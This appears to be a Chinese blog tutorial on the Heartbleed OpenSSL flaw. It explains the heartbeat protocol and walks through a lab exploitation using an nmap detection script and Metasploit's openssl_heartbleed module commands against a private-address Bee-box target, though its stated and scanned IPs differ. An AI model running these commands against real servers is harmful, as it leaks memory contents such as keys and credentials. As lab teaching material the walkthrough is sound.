心脏滴血漏洞简述

2014年4月7日,OpenSSL发布安全公告,在OpenSSL1.0.1版本至OpenSSL1.0.1f Beta1版本中存在漏洞,该漏洞中文名称为心脏滴血,英文名称为HeartBleed。其中Heart是指该漏洞位于心跳协议上,Bleed是因为该漏洞会造成数据泄露。即HeartBleed是在心跳协议上的一个数据泄露漏洞,OpenSSL库中用到了该心跳协议。HeartBleed主要存在与OpenSSL的1.0.1版本到1.0.1f版本。

利用该漏洞,攻击者可以远程读取服务器内存中64K的数据,获取内存中的敏感信息。

漏洞范围

OpenSSL 1.0.1版本

ssl、tls、dtls介绍

在网络当中中,TCP/IP协议层之上的安全可以由Secure Socket Layer(SSL)及其替代协议Transport Layer Security (TLS)进行保障。这两个协议经常被称作SSL/TLS。HTTP是一个无状态的应用层协议,主要用来在服务器和客户端之间传输数据。HTTPS主要通过在HTTP层和TCP层之间增加了SSL/TLS层来保证服务器与客户端之间安全的传输数据。

DTLS(Datagram Transport Layer Security)即数据包传输层安全性协议,主要是试图在TLS协议架构上提出扩展,使之支持UDP。

TLS/DTLS中的心跳协议主要使用来检测两个设备之间是否还有连接的,根据RFC规定,心跳协议运行在TLS记录层之上,主要是通过交换“心跳”的方式,用来维持端与端之间的连接。

环境 搭建  kali—》192.168.115.28

Bee-box—》192.168.115.21

  1. 启动靶机

  1. 使用nmap  指定脚本扫描

nmap -sV -p 8443 --script ssl-heartbleed.nse 192.168.115.27

由下图检测结果可以看出存在心脏滴血漏洞

  1. github上也有一个项目,是专门检测心脏滴血漏洞的。

https://github.com/musalbas/heartbleed-masstest/blob/master/ssltest.py

  1. 使用msf进行漏洞利用

打开msfconsole后,查找heartbleed模块:

Search heartbleed

use auxiliary/scanner/ssl/openssl_heartbleed

set RHOSTS 192.168.115.27

set RPORT 8443

set verbose true  #(设置verbose,这个设置要设置成true才能看到泄露的信息)

exploit

最新文章

  1. 让pv3d(papervision3D)支持单帧前进、后退(nextFrame)。
  2. 元素间距属性(scrollLeft,scrollWidth,clientWidth,offsetWidth,padding,margin)
  3. 配置域从DNS服务器以及缓存DNS服务器
  4. PAT乙级 1015. 德才论 (25)
  5. A Mathematical Curiosity 分类: HDU 2015-06-25 21:27 11人阅读 评论(0) 收藏
  6. android:gravity 和 android:layout_Gravity属性
  7. Qt之QTableView添加复选框(QAbstractItemDelegate)
  8. UML for Design Pattern
  9. 使用Calendar获取近三年的财务信息
  10. C++排序
  11. 装多版本号sqlserver的远程连接问题
  12. ThinkPhp学习11
  13. ICMP:internet 控制报文协议
  14. UVa 10033 - Interpreter
  15. 自定义控制台程序导出Dynamics 365实体信息到Excel中。
  16. C/C++与C#之间类型的对应
  17. 驳2B文 "我为什么放弃Go语言"
  18. [原创]浅谈Web UI自动化测试
  19. SSL连接并非完全问题解决
  20. Github API

热门文章

  1. 洛谷:P5072 [Ynoi2015]盼君勿忘
  2. ShaderHelper2 组件升级,支持自动枚举参数!
  3. Nginx开启Gzip压缩提升页面加载速度
  4. 【Java】 读取Txt文件 处理数据
  5. WebSocket协议与抓包
  6. 解决:Specifying a namespace in include() without providing an app_name和XXX is not a registered namespace问题
  7. Bitset改进你的程序质量
  8. 实验吧之【who are you?】(时间盲注)
  9. [BZOJ3813] 奇数国 - 线段树
  10. Halcon一日一练:图像采集设备的基本参数